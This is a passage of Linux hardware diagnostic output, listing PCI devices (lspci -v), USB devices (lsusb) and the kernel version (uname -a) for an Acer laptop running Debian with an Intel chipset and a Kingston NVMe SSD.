	Flags: bus master, fast devsel, latency 0, IRQ 16, IOMMU group 5
	Memory at 6001114000 (64-bit, non-prefetchable) [size=16K]
	Capabilities: [c8] Power Management version 3
	Capabilities: [d0] MSI: Enable- Count=1/1 Maskable- 64bit+
	Capabilities: [40] Express Root Complex Integrated Endpoint, MSI 00
	Capabilities: [80] MSI-X: Enable+ Count=16 Masked-
	Capabilities: [100] Latency Tolerance Reporting
	Capabilities: [164] Vendor Specific Information: ID=0010 Rev=0 Len=014 <?>
	Kernel driver in use: iwlwifi
	Kernel modules: iwlwifi

00:15.0 Serial bus controller [0c80]: Intel Corporation Device 4de8 (rev 01)
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 0, IRQ 16, IOMMU group 6
	Memory at 4008000000 (64-bit, non-prefetchable) [virtual] [size=4K]
	Capabilities: [80] Power Management version 3
	Capabilities: [90] Vendor Specific Information: Len=14 <?>
	Kernel driver in use: intel-lpss
	Kernel modules: intel_lpss_pci

00:16.0 Communication controller: Intel Corporation Device 4de0 (rev 01)
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 0, IRQ 129, IOMMU group 7
	Memory at 600111e000 (64-bit, non-prefetchable) [size=4K]
	Capabilities: [50] Power Management version 3
	Capabilities: [8c] MSI: Enable+ Count=1/1 Maskable- 64bit+
	Capabilities: [a4] Vendor Specific Information: Len=14 <?>
	Kernel driver in use: mei_me
	Kernel modules: mei_me

00:1a.0 SD Host controller: Intel Corporation Device 4dc4 (rev 01) (prog-if 01)
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 0, IRQ 16, IOMMU group 8
	Memory at 600111d000 (64-bit, non-prefetchable) [size=4K]
	Capabilities: [80] Power Management version 3
	Capabilities: [90] Vendor Specific Information: Len=14 <?>
	Kernel driver in use: sdhci-pci
	Kernel modules: sdhci_pci

00:1c.0 PCI bridge: Intel Corporation Device 4dbc (rev 01) (prog-if 00 [Normal decode])
	Flags: bus master, fast devsel, latency 0, IRQ 122, IOMMU group 9
	Bus: primary=00, secondary=01, subordinate=01, sec-latency=0
	I/O behind bridge: 00003000-00003fff [size=4K]
	Memory behind bridge: 7f800000-7f8fffff [size=1M]
	Prefetchable memory behind bridge: [disabled]
	Capabilities: [40] Express Root Port (Slot+), MSI 00
	Capabilities: [80] MSI: Enable+ Count=1/1 Maskable- 64bit-
	Capabilities: [90] Subsystem: Acer Incorporated [ALI] Device 1516
	Capabilities: [a0] Power Management version 3
	Capabilities: [100] Advanced Error Reporting
	Capabilities: [220] Access Control Services
	Capabilities: [150] Precision Time Measurement
	Capabilities: [200] L1 PM Substates
	Capabilities: [a30] Secondary PCI Express
	Capabilities: [a00] Downstream Port Containment
	Kernel driver in use: pcieport

00:1e.0 Communication controller: Intel Corporation Device 4da8 (rev 01)
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 0, IRQ 20, IOMMU group 10
	Memory at 4008001000 (64-bit, non-prefetchable) [virtual] [size=4K]
	Capabilities: [80] Power Management version 3
	Capabilities: [90] Vendor Specific Information: Len=14 <?>
	Kernel driver in use: intel-lpss
	Kernel modules: intel_lpss_pci

00:1e.3 Serial bus controller [0c80]: Intel Corporation Device 4dab (rev 01)
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 0, IRQ 23, IOMMU group 10
	Memory at 4008002000 (64-bit, non-prefetchable) [virtual] [size=4K]
	Capabilities: [80] Power Management version 3
	Capabilities: [90] Vendor Specific Information: Len=14 <?>
	Kernel driver in use: intel-lpss
	Kernel modules: intel_lpss_pci

00:1f.0 ISA bridge: Intel Corporation Device 4d87 (rev 01)
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 0, IOMMU group 11

00:1f.3 Multimedia audio controller: Intel Corporation Device 4dc8 (rev 01)
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 32, IRQ 136, IOMMU group 11
	Memory at 6001110000 (64-bit, non-prefetchable) [size=16K]
	Memory at 6001000000 (64-bit, non-prefetchable) [size=1M]
	Capabilities: [50] Power Management version 3
	Capabilities: [80] Vendor Specific Information: Len=14 <?>
	Capabilities: [60] MSI: Enable+ Count=1/1 Maskable- 64bit+
	Kernel driver in use: snd_hda_intel
	Kernel modules: snd_hda_intel, snd_sof_pci

00:1f.4 SMBus: Intel Corporation Device 4da3 (rev 01)
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: medium devsel, IRQ 16, IOMMU group 11
	Memory at 600111a000 (64-bit, non-prefetchable) [size=256]
	I/O ports at 4040 [size=32]
	Kernel driver in use: i801_smbus
	Kernel modules: i2c_i801

00:1f.5 Serial bus controller [0c80]: Intel Corporation Device 4da4 (rev 01)
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 0, IOMMU group 11
	Memory at 7f910000 (32-bit, non-prefetchable) [size=4K]

01:00.0 Non-Volatile memory controller: Kingston Technology Company, Inc. U-SNS8154P3 NVMe SSD (rev 01) (prog-if 02 [NVM Express])
	Subsystem: Kingston Technology Company, Inc. U-SNS8154P3 NVMe SSD
	Flags: bus master, fast devsel, latency 0, IRQ 16, NUMA node 0, IOMMU group 12
	Memory at 7f800000 (64-bit, non-prefetchable) [size=16K]
	I/O ports at 3000 [size=8]
	Capabilities: [80] Express Endpoint, MSI 00
	Capabilities: [d0] MSI-X: Enable+ Count=9 Masked-
	Capabilities: [e0] MSI: Enable- Count=1/8 Maskable- 64bit+
	Capabilities: [f8] Power Management version 3
	Capabilities: [100] Vendor Specific Information: ID=1556 Rev=1 Len=008 <?>
	Capabilities: [108] Latency Tolerance Reporting
	Capabilities: [110] L1 PM Substates
	Capabilities: [128] Alternative Routing-ID Interpretation (ARI)
	Capabilities: [200] Advanced Error Reporting
	Capabilities: [300] Secondary PCI Express
	Kernel driver in use: nvme
	Kernel modules: nvme
# lsusb
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 005: ID 8087:0026 Intel Corp. 
Bus 001 Device 004: ID 1c7a:0575 LighTuning Technology Inc. EgisTec EH575
Bus 001 Device 003: ID 0408:a094 Quanta Computer, Inc. HD User Facing
Bus 001 Device 002: ID 275d:0ba6  USB OPTICAL MOUSE 
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
# uname -a
Linux SWIFT 5.10.0-8-amd64 #1 SMP Debian 5.10.46-3 (2021-07-28) x86_64 GNU/Linux

 , , ,

e50e60
()